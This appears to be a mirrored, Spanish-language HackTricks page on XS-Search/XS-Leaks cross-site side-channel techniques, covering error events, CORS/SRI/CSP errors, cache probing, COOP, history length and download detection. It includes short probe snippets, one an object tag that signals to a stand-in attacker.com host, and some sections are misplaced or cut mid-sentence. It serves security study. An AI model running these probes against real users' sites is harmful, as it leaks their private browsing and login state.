Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 14:40:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search.md

57 KiB
Raw Blame History

XS-Search/XS-Leaks

Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Accede hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

XS-Search es un método utilizado para extraer información de origen cruzado aprovechando vulnerabilidades de canal lateral.

Los componentes clave involucrados en este ataque incluyen:

  • Web Vulnerable: El sitio web objetivo del cual se pretende extraer información.
  • Web del Atacante: El sitio web malicioso creado por el atacante, que la víctima visita, alojando el exploit.
  • Método de Inclusión: La técnica empleada para incorporar la Web Vulnerable en la Web del Atacante (por ejemplo, window.open, iframe, fetch, etiqueta HTML con href, etc.).
  • Técnica de Fuga: Técnicas utilizadas para discernir diferencias en el estado de la Web Vulnerable basadas en la información recopilada a través del método de inclusión.
  • Estados: Las dos condiciones potenciales de la Web Vulnerable, que el atacante busca distinguir.
  • Diferencias Detectables: Variaciones observables en las que el atacante se basa para inferir el estado de la Web Vulnerable.

Diferencias Detectables

Varios aspectos pueden analizarse para diferenciar los estados de la Web Vulnerable:

  • Código de Estado: Distinguir entre varios códigos de estado de respuesta HTTP de origen cruzado, como errores de servidor, errores de cliente o errores de autenticación.
  • Uso de API: Identificar el uso de APIs web en las páginas, revelando si una página de origen cruzado emplea una API web específica de JavaScript.
  • Redirecciones: Detectar navegaciones a diferentes páginas, no solo redirecciones HTTP, sino también aquellas desencadenadas por JavaScript o HTML.
  • Contenido de la Página: Observar variaciones en el cuerpo de la respuesta HTTP o en los subrecursos de la página, como el número de marcos incrustados o disparidades de tamaño en imágenes.
  • Encabezado HTTP: Notar la presencia o posiblemente el valor de un encabezado de respuesta HTTP específico, incluidos encabezados como X-Frame-Options, Content-Disposition y Cross-Origin-Resource-Policy.
  • Temporización: Observar disparidades de tiempo consistentes entre los dos estados.

Métodos de Inclusión

  • Elementos HTML: HTML ofrece varios elementos para inclusión de recursos de origen cruzado, como hojas de estilo, imágenes o scripts, obligando al navegador a solicitar un recurso no HTML. Una recopilación de posibles elementos HTML para este propósito se puede encontrar en https://github.com/cure53/HTTPLeaks.
  • Marcos: Elementos como iframe, object y embed pueden incrustar recursos HTML directamente en la página del atacante. Si la página carece de protección de enmarcado, JavaScript puede acceder al objeto window del recurso enmarcado a través de la propiedad contentWindow.
  • Pop-ups: El método window.open abre un recurso en una nueva pestaña o ventana, proporcionando un identificador de ventana para que JavaScript interactúe con métodos y propiedades siguiendo la SOP. Los pop-ups, a menudo utilizados en inicio de sesión único, evitan las restricciones de enmarcado y cookies de un recurso objetivo. Sin embargo, los navegadores modernos restringen la creación de pop-ups a ciertas acciones del usuario.
  • Solicitudes JavaScript: JavaScript permite solicitudes directas a recursos objetivo utilizando XMLHttpRequests o la Fetch API. Estos métodos ofrecen un control preciso sobre la solicitud, como optar por seguir redirecciones HTTP.

Técnicas de Fuga

  • Manejador de Eventos: Una técnica de fuga clásica en XS-Leaks, donde los manejadores de eventos como onload y onerror proporcionan información sobre el éxito o fracaso de la carga de recursos.
  • Mensajes de Error: Las excepciones de JavaScript o páginas de error especiales pueden proporcionar información de fuga directamente desde el mensaje de error o diferenciando entre su presencia y ausencia.
  • Límites Globales: Las limitaciones físicas de un navegador, como la capacidad de memoria u otros límites impuestos por el navegador, pueden indicar cuándo se alcanza un umbral, sirviendo como técnica de fuga.
  • Estado Global: Las interacciones detectables con los estados globales de los navegadores (por ejemplo, la interfaz History) pueden ser explotadas. Por ejemplo, el número de entradas en el historial de un navegador puede ofrecer pistas sobre las páginas de origen cruzado.
  • API de Rendimiento: Esta API proporciona detalles de rendimiento de la página actual, incluidos los tiempos de red para el documento y los recursos cargados, permitiendo inferencias sobre los recursos solicitados.
  • Atributos Legibles: Algunos atributos HTML son legibles de origen cruzado y pueden utilizarse como técnica de fuga. Por ejemplo, la propiedad window.frame.length permite a JavaScript contar los marcos incluidos en una página web de origen cruzado.

Herramienta XSinator y Documento

XSinator es una herramienta automática para verificar navegadores contra varios XS-Leaks conocidos explicados en su documento: https://xsinator.com/paper.pdf

Puedes acceder a la herramienta en https://xsinator.com/

{% hint style="warning" %} XS-Leaks Excluidos: Tuvimos que excluir XS-Leaks que dependen de service workers ya que interferirían con otras fugas en XSinator. Además, elegimos excluir XS-Leaks que dependen de configuraciones incorrectas y errores en una aplicación web específica. Por ejemplo, configuraciones incorrectas de Compartir Recursos de Origen (CORS), filtraciones de postMessage o Cross-Site Scripting. Además, excluimos XS-Leaks basados en tiempo ya que a menudo sufren de ser lentos, ruidosos e inexactos. {% endhint %}


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Accede hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Técnicas Basadas en Tiempo

Algunas de las siguientes técnicas van a utilizar el tiempo como parte del proceso para detectar diferencias en los posibles estados de las páginas web. Hay diferentes formas de medir el tiempo en un navegador web.

Relojes: La API performance.now() permite a los desarrolladores obtener medidas de tiempo de alta resolución.
Hay una cantidad considerable de APIs que los atacantes pueden abusar para crear relojes implícitos: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animaciones CSS y otros.
Para más información: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Técnicas de Manejador de Eventos

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

El ejemplo de código intenta cargar objetos de scripts desde JS, pero otros tags como objetos, hojas de estilo, imágenes, audios también podrían ser utilizados. Además, también es posible inyectar directamente la etiqueta y declarar los eventos onload y onerror dentro de la etiqueta (en lugar de inyectarla desde JS).

También existe una versión sin script de este ataque:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

En este caso, si example.com/404 no se encuentra, se cargará attacker.com/?error.

Tiempo de carga

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Tiempo de carga + Tarea pesada forzada

Esta técnica es similar a la anterior, pero el atacante también forzará alguna acción para que tome un tiempo relevante cuando la respuesta sea positiva o negativa y medirá ese tiempo.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

Tiempo de descarga/cierre

El tiempo necesario para recuperar un recurso se puede medir utilizando los eventos unload y beforeunload. El evento beforeunload se dispara cuando el navegador está a punto de navegar a una nueva página, mientras que el evento unload ocurre cuando la navegación realmente está teniendo lugar. La diferencia de tiempo entre estos dos eventos se puede calcular para determinar la duración que el navegador pasó recuperando el recurso.

Tiempo de marco con restricciones + carga

Se ha observado que en ausencia de Protecciones de Enmarcado, un atacante puede medir el tiempo requerido para que una página y sus subrecursos se carguen a través de la red. Esta medición es típicamente posible porque el controlador onload de un iframe se activa solo después de completarse la carga de recursos y la ejecución de JavaScript. Para evitar la variabilidad introducida por la ejecución de scripts, un atacante podría emplear el atributo sandbox dentro del <iframe>. La inclusión de este atributo restringe numerosas funcionalidades, especialmente la ejecución de JavaScript, facilitando así una medición que está predominantemente influenciada por el rendimiento de la red.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Métodos de Inclusión: Marcos
  • Diferencia Detectable: Contenido de la Página
  • Más información:
  • Resumen: Si puedes hacer que la página genere un error cuando se accede al contenido correcto y que cargue correctamente cuando se accede a cualquier contenido, entonces puedes hacer un bucle para extraer toda la información sin medir el tiempo.
  • Ejemplo de Código:

Supongamos que puedes insertar la página que tiene el contenido secreto dentro de un Iframe.

Puedes hacer que la víctima busque el archivo que contiene "flag" usando un Iframe (explotando un CSRF, por ejemplo). Dentro del Iframe, sabes que el evento onload se ejecutará siempre al menos una vez. Luego, puedes cambiar la URL del iframe pero cambiando solo el contenido del hash dentro de la URL.

Por ejemplo:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Si la primera URL se cargó correctamente, entonces, al cambiar la parte hash de la URL, el evento onload no se activará nuevamente. Pero si la página tuvo algún tipo de error al cargar, entonces, el evento onload se activará nuevamente.

Entonces, puedes distinguir entre una página cargada correctamente o una página que tiene un error cuando se accede.

Ejecución de Javascript

  • Métodos de Inclusión: Marcos
  • Diferencia Detectable: Contenido de la Página
  • Más información:
  • Resumen: Si la página está devolviendo el contenido sensible, o un contenido que puede ser controlado por el usuario. El usuario podría establecer código JS válido en el caso negativo, y cargar cada intento dentro de las etiquetas <script>, por lo que en los casos negativos el código de los atacantes se ejecuta, y en los casos afirmativos no se ejecutará nada.
  • Ejemplo de Código:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • Métodos de Inclusión: Elementos HTML
  • Diferencia Detectable: Código de Estado y Encabezados
  • Más información: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Resumen: Cross-Origin Read Blocking (CORB) es una medida de seguridad que evita que las páginas web carguen ciertos recursos sensibles de origen cruzado para protegerse contra ataques como Spectre. Sin embargo, los atacantes pueden explotar su comportamiento protector. Cuando una respuesta sujeta a CORB devuelve un Content-Type protegido por CORB con nosniff y un código de estado 2xx, CORB elimina el cuerpo y los encabezados de la respuesta. Los atacantes que observan esto pueden inferir la combinación del código de estado (indicando éxito o error) y el Content-Type (indicando si está protegido por CORB), lo que lleva a una posible fuga de información.
  • Ejemplo de Código:

Consulta el enlace de más información para obtener más detalles sobre el ataque.

onblur

Es posible cargar una página dentro de un iframe y usar el #id_value para hacer que la página se enfoque en el elemento del iframe con el id indicado, luego si se activa una señal onblur, el elemento ID existe.
Puedes realizar el mismo ataque con etiquetas portal.

Transmisiones postMessage

  • Métodos de Inclusión: Marcos, Pop-ups
  • Diferencia Detectable: Uso de API
  • Más información: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Resumen: Recopilar información sensible de un postMessage o utilizar la presencia de postMessages como un oráculo para conocer el estado del usuario en la página.
  • Ejemplo de Código: Cualquier código que escuche todos los postMessages.

Las aplicaciones utilizan con frecuencia las transmisiones de postMessage para comunicarse entre diferentes orígenes. Sin embargo, este método puede exponer inadvertidamente información sensible si el parámetro targetOrigin no está correctamente especificado, lo que permite que cualquier ventana reciba los mensajes. Además, el simple acto de recibir un mensaje puede actuar como un oráculo; por ejemplo, ciertos mensajes solo podrían enviarse a usuarios que hayan iniciado sesión. Por lo tanto, la presencia o ausencia de estos mensajes puede revelar información sobre el estado o la identidad del usuario, como si están autenticados o no.

```javascript // Code saved here in case it dissapear from the link // Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/ window.addEventListener("load", startup, false); function displayErrorMessage(msg) { document.getElementById("log").innerHTML += msg; }

function startup() { let audioElement = document.getElementById("audio"); // "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3"; document.getElementById("startTest").addEventListener("click", function() { audioElement.src = document.getElementById("testUrl").value; }, false); // Create the event handler var errHandler = function() { let err = this.error; let message = err.message; let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed" // Firefox error.message when the request loads successfully: "Failed to init decoder" if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){ status = "Success"; }else{ status = "Error"; } displayErrorMessage("Status: " + status + " (Error code:" + err.code + " / Error Message: " + err.message + ")
"); }; audioElement.onerror = errHandler; }

### Error de CORS

* **Métodos de Inclusión**: Fetch API
* **Diferencia Detectable**: Encabezado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Resumen:** En las Afirmaciones de Seguridad (SA), los mensajes de error de CORS exponen inadvertidamente la URL completa de las solicitudes redirigidas.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

Esta técnica permite a un atacante **extraer el destino de la redirección de un sitio de origen cruzado** explotando cómo los navegadores basados en Webkit manejan las solicitudes CORS. Específicamente, cuando se envía una solicitud **habilitada para CORS** a un sitio objetivo que emite una redirección basada en el estado del usuario y el navegador posteriormente niega la solicitud, la **URL completa del destino de la redirección** se revela dentro del mensaje de error. Esta vulnerabilidad no solo revela el hecho de la redirección, sino que también expone el punto final de la redirección y cualquier **parámetro de consulta sensible** que pueda contener.

### Error de SRI

* **Métodos de Inclusión**: Fetch API
* **Diferencia Detectable**: Encabezado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Resumen:** En las Afirmaciones de Seguridad (SA), los mensajes de error de CORS exponen inadvertidamente la URL completa de las solicitudes redirigidas.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

Un atacante puede explotar **mensajes de error detallados** para deducir el tamaño de las respuestas de origen cruzado. Esto es posible debido al mecanismo de Integridad de Subrecursos (SRI), que utiliza el atributo de integridad para validar que los recursos recuperados, a menudo de CDNs, no hayan sido manipulados. Para que SRI funcione en recursos de origen cruzado, estos deben estar **habilitados para CORS**; de lo contrario, no están sujetos a comprobaciones de integridad. En las Afirmaciones de Seguridad (SA), al igual que el error de CORS XS-Leak, un mensaje de error puede ser capturado después de que falle una solicitud de recuperación con un atributo de integridad. Los atacantes pueden **provocar deliberadamente este error** asignando un **valor de hash falso** al atributo de integridad de cualquier solicitud. En SA, el mensaje de error resultante revela inadvertidamente la longitud del contenido del recurso solicitado. Esta fuga de información permite a un atacante discernir variaciones en el tamaño de la respuesta, allanando el camino para ataques sofisticados de XS-Leak.

### Violación/Detección de CSP

* **Métodos de Inclusión**: Pop-ups
* **Diferencia Detectable**: Código de Estado
* **Más información**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Resumen:** Al permitir solo el sitio de la víctima en la CSP, si intentamos acceder y se redirige a un dominio diferente, la CSP generará un error detectable.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

Un XS-Leak puede utilizar la CSP para detectar si un sitio de origen cruzado fue redirigido a un origen diferente. Esta fuga puede detectar la redirección, pero además, se filtra el dominio del destino de la redirección. La idea básica de este ataque es **permitir el dominio objetivo en el sitio del atacante**. Una vez que se emite una solicitud al dominio objetivo, este se **redirige** a un dominio de origen cruzado. La CSP **bloquea** el acceso a él y crea un **informe de violación utilizado como técnica de fuga**. Dependiendo del navegador, **este informe puede filtrar la ubicación objetivo de la redirección**.\
Los navegadores modernos no indicarán la URL a la que se redirigió, pero aún se puede detectar que se activó una redirección de origen cruzado.

### Caché

* **Métodos de Inclusión**: Marcos, Pop-ups
* **Diferencia Detectable**: Contenido de la Página
* **Más información**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Resumen:** Borra el archivo de la caché. Abre la página de destino y verifica si el archivo está presente en la caché.
* **Ejemplo de Código:**

Los navegadores pueden usar una caché compartida para todos los sitios web, independientemente de su origen, es posible deducir si una página de destino ha **solicitado un archivo específico**.

Si una página carga una imagen solo si el usuario ha iniciado sesión, puedes **invalidar** el **recurso** (para que ya no esté en caché si lo estaba, ver más información en los enlaces), **realizar una solicitud** que podría cargar ese recurso e intentar cargar el recurso **con una solicitud incorrecta** (por ejemplo, usando un encabezado de referente demasiado largo). Si la carga del recurso **no desencadena ningún error**, es porque estaba **en caché**.

### Directiva CSP

* **Métodos de Inclusión**: Marcos
* **Diferencia Detectable**: Encabezado
* **Más información**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Resumen:** Las directivas de encabezado CSP pueden ser sondeadas utilizando el atributo de iframe CSP, revelando detalles de la política.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

Una característica novedosa en Google Chrome (GC) permite a las páginas web **proponer una Política de Seguridad de Contenido (CSP)** configurando un atributo en un elemento iframe, con directivas de política transmitidas junto con la solicitud HTTP. Normalmente, el contenido incrustado debe **autorizar esto a través de un encabezado HTTP**, o se muestra una **página de error**. Sin embargo, si el iframe ya está gobernado por una CSP y la política recién propuesta no es más restrictiva, la página se cargará normalmente. Este mecanismo abre un camino para que un atacante **detecte directivas CSP específicas** de una página de origen cruzado identificando la página de error. Aunque esta vulnerabilidad se marcó como solucionada, nuestros hallazgos revelan una **nueva técnica de fuga** capaz de detectar la página de error, lo que sugiere que el problema subyacente nunca se abordó completamente.

### **CORP**

* **Métodos de Inclusión**: Fetch API
* **Diferencia Detectable**: Encabezado
* **Más información**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **Resumen:** Los recursos asegurados con la Política de Recursos de Origen Cruzado (CORP) generarán un error al ser recuperados desde un origen no permitido.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

El encabezado CORP es una característica de seguridad de plataforma web relativamente nueva que cuando se establece **bloquea las solicitudes de origen cruzado no-cors al recurso dado**. La presencia del encabezado puede ser detectada, porque un recurso protegido con CORP **generará un error al ser recuperado**.

### CORB

* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Encabezados
* **Más información**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Resumen**: CORB puede permitir a los atacantes detectar cuándo está presente el encabezado **`nosniff`** en la solicitud.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

Consulta el enlace para obtener más información sobre el ataque.

### Error de CORS en la mala configuración de Reflexión de Origen <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **Métodos de Inclusión**: Fetch API
* **Diferencia Detectable**: Encabezados
* **Más información**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Resumen**: Si el encabezado de Origen se refleja en el encabezado `Access-Control-Allow-Origin`, es posible verificar si un recurso ya está en la caché.
* **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

En caso de que el **encabezado de Origen** se esté **reflejando** en el encabezado `Access-Control-Allow-Origin`, un atacante puede abusar de este comportamiento para intentar **recuperar** el **recurso** en modo **CORS**. Si no se **desencadena un error**, significa que se **recuperó correctamente del sitio web**, si se **desencadena un error**, es porque se **accedió desde la caché** (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante)**.**\
Ten en cuenta que si el origen no se refleja pero se utiliza un comodín (`Access-Control-Allow-Origin: *`), esto no funcionará.

## Técnica de Atributos Legibles

### Redirección de Fetch

* **Métodos de Inclusión**: Fetch API
* **Diferencia Detectable**: Código de Estado
* **Más información**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Resumen:** GC y SA permiten verificar el tipo de respuesta (redirección opaca) después de que se complete la redirección.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

Al enviar una solicitud utilizando la Fetch API con `redirect: "manual"` y otros parámetros, es posible leer el atributo `response.type` y si es igual a `opaqueredirect`, entonces la respuesta fue una redirección.

### COOP

* **Métodos de Inclusión**: Pop-ups
* **Diferencia Detectable**: Encabezado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Resumen:** Las páginas protegidas por la Política de Apertura de Origen Cruzado (COOP) evitan el acceso desde interacciones de origen cruzado.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

Un atacante es capaz de deducir la presencia del encabezado de Política de Apertura de Origen Cruzado (COOP) en una respuesta HTTP de origen cruzado. COOP es utilizada por aplicaciones web para impedir que sitios externos obtengan referencias de ventana arbitrarias. La visibilidad de este encabezado se puede discernir intentando acceder a la referencia **`contentWindow`**. En escenarios donde COOP se aplica condicionalmente, la propiedad **`opener`** se convierte en un indicador revelador: es **indefinida** cuando COOP está activa, y **definida** en su ausencia.

### Longitud Máxima de URL - Lado del Servidor

* **Métodos de Inclusión**: Fetch API, Elementos HTML
* **Diferencia Detectable**: Código de Estado / Contenido
* **Más información**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Resumen:** Detecta diferencias en las respuestas debido a que la longitud de la respuesta de redirección podría ser demasiado grande y el servidor responde con un error y se genera una alerta.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

Si una redirección del lado del servidor utiliza **entrada de usuario dentro de la redirección** y **datos adicionales**. Es posible detectar este comportamiento porque por lo general los **servidores** tienen un **límite de longitud de solicitud**. Si los **datos del usuario** tienen esa **longitud - 1**, porque la **redirección** está usando **esos datos** y **agregando** algo **extra**, desencadenará un **error detectable a través de Eventos de Error**.

Si de alguna manera puedes establecer cookies a un usuario, también puedes realizar este ataque **configurando suficientes cookies** ([**bomba de cookies**](hacking-with-cookies/cookie-bomb.md)) para que con el **aumento del tamaño de la respuesta correcta** se genere un **error**. En este caso, recuerda que si activas esta solicitud desde un mismo sitio, `<script>` enviará automáticamente las cookies (así que puedes verificar los errores).\
Un ejemplo de **bomba de cookies + XS-Search** se puede encontrar en la solución prevista de este informe: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

`SameSite=None` o estar en el mismo contexto generalmente es necesario para este tipo de ataque.

### Longitud Máxima de URL - Lado del Cliente

* **Métodos de Inclusión**: Pop-ups
* **Diferencia Detectable**: Código de Estado / Contenido
* **Más información**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Resumen:** Detecta diferencias en las respuestas debido a que la longitud de la respuesta de redirección podría ser demasiado grande para una solicitud que se pueda notar una diferencia.
* **Ejemplo de Código**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

Según la [documentación de Chromium](https://chromium.googlesource.com/chromium/src
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Conteo de Frames

Contar el número de frames en una web abierta mediante iframe o window.open puede ayudar a identificar el estado del usuario en esa página.
Además, si la página siempre tiene el mismo número de frames, verificar continuamente el número de frames puede ayudar a identificar un patrón que podría filtrar información.

Un ejemplo de esta técnica es que en Chrome, un PDF puede ser detectado con el conteo de frames porque se utiliza internamente un embed. Hay Parámetros de URL Abierta que permiten cierto control sobre el contenido como zoom, view, page, toolbar, donde esta técnica podría ser interesante.

HTMLElements

La filtración de información a través de elementos HTML es una preocupación en la seguridad web, especialmente cuando se generan archivos multimedia dinámicos basados en información del usuario, o cuando se agregan marcas de agua, alterando el tamaño del medio. Esto puede ser explotado por atacantes para diferenciar entre estados posibles mediante el análisis de la información expuesta por ciertos elementos HTML.

Información Expuesta por Elementos HTML

  • HTMLMediaElement: Este elemento revela los tiempos de duración y buffered del medio, que se pueden acceder a través de su API. Leer más sobre HTMLMediaElement
  • HTMLVideoElement: Expone videoHeight y videoWidth. En algunos navegadores, propiedades adicionales como webkitVideoDecodedByteCount, webkitAudioDecodedByteCount y webkitDecodedFrameCount están disponibles, ofreciendo información más detallada sobre el contenido multimedia. Leer más sobre HTMLVideoElement
  • getVideoPlaybackQuality(): Esta función proporciona detalles sobre la calidad de reproducción de video, incluyendo totalVideoFrames, que puede indicar la cantidad de datos de video procesados. Leer más sobre getVideoPlaybackQuality()
  • HTMLImageElement: Este elemento filtra la altura y ancho de una imagen. Sin embargo, si una imagen es inválida, estas propiedades devolverán 0, y la función image.decode() será rechazada, indicando la falla al cargar la imagen correctamente. Leer más sobre HTMLImageElement

Propiedad CSS

Las aplicaciones web pueden cambiar el estilo del sitio web dependiendo del estado del usuario. Los archivos CSS de origen cruzado pueden ser incrustados en la página del atacante con el elemento de enlace HTML, y las reglas se aplicarán a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede detectar estas diferencias dependiendo del estado del usuario.
Como técnica de filtración, el atacante puede usar el método window.getComputedStyle para leer CSS propiedades de un elemento HTML específico. Como resultado, un atacante puede leer propiedades CSS arbitrarias si se conoce el elemento afectado y el nombre de la propiedad.

Historial CSS

{% hint style="info" %} Según esto, esto no funciona en Chrome sin cabeza. {% endhint %}

El selector CSS :visited se utiliza para aplicar estilos diferentes a las URL si han sido visitadas previamente por el usuario. En el pasado, el método getComputedStyle() se podía utilizar para identificar estas diferencias de estilo. Sin embargo, los navegadores modernos han implementado medidas de seguridad para evitar que este método revele el estado de un enlace. Estas medidas incluyen devolver siempre el estilo calculado como si el enlace hubiera sido visitado y restringir los estilos que se pueden aplicar con el selector :visited.

A pesar de estas restricciones, es posible discernir el estado visitado de un enlace de forma indirecta. Una técnica implica engañar al usuario para que interactúe con un área afectada por CSS, específicamente utilizando la propiedad mix-blend-mode. Esta propiedad permite la mezcla de elementos con su fondo, revelando potencialmente el estado visitado en función de la interacción del usuario.

Además, la detección se puede lograr sin interacción del usuario explotando los tiempos de renderizado de los enlaces. Dado que los navegadores pueden renderizar enlaces visitados y no visitados de manera diferente, esto puede introducir una diferencia de tiempo medible en el renderizado. Se mencionó un ejemplo de concepto (PoC) en un informe de error de Chromium, demostrando esta técnica utilizando múltiples enlaces para amplificar la diferencia de tiempo, haciendo así que el estado visitado sea detectable mediante análisis de tiempo.

Para más detalles sobre estas propiedades y métodos, visita sus páginas de documentación:

Fuga de X-Frame de ContentDocument

En Chrome, si una página con la cabecera X-Frame-Options establecida en "deny" o "same-origin" se incrusta como un objeto, aparece una página de error. Chrome devuelve de manera única un objeto de documento vacío (en lugar de null) para la propiedad contentDocument de este objeto, a diferencia de los iframes u otros navegadores. Los atacantes podrían explotar esto al detectar el documento vacío, revelando potencialmente información sobre el estado del usuario, especialmente si los desarrolladores establecen de manera inconsistente la cabecera X-Frame-Options, a menudo pasando por alto las páginas de error. La conciencia y la aplicación consistente de las cabeceras de seguridad son cruciales para prevenir tales filtraciones.

Detección de Descargas

La cabecera Content-Disposition, específicamente Content-Disposition: attachment, instruye al navegador a descargar el contenido en lugar de mostrarlo en línea. Este comportamiento puede ser explotado para detectar si un usuario tiene acceso a una página que desencadena una descarga de archivo. En los navegadores basados en Chromium, existen algunas técnicas para detectar este comportamiento de descarga:

  1. Monitoreo de Barra de Descarga:
  • Cuando se descarga un archivo en los navegadores basados en Chromium, aparece una barra de descarga en la parte inferior de la ventana del navegador.
  • Al monitorear los cambios en la altura de la ventana, los atacantes pueden inferir la aparición de la barra de descarga, lo que sugiere que se ha iniciado una descarga.
  1. Navegación de Descarga con Iframes:
  • Cuando una página desencadena una descarga de archivo usando la cabecera Content-Disposition: attachment, no provoca un evento de navegación.
  • Cargando el contenido en un iframe y monitoreando los eventos de navegación, es posible verificar si la disposición del contenido provoca una descarga de archivo (sin navegación) o no.
  1. Navegación de Descarga sin Iframes:
  • Similar a la técnica de iframe, este método implica usar window.open en lugar de un iframe.
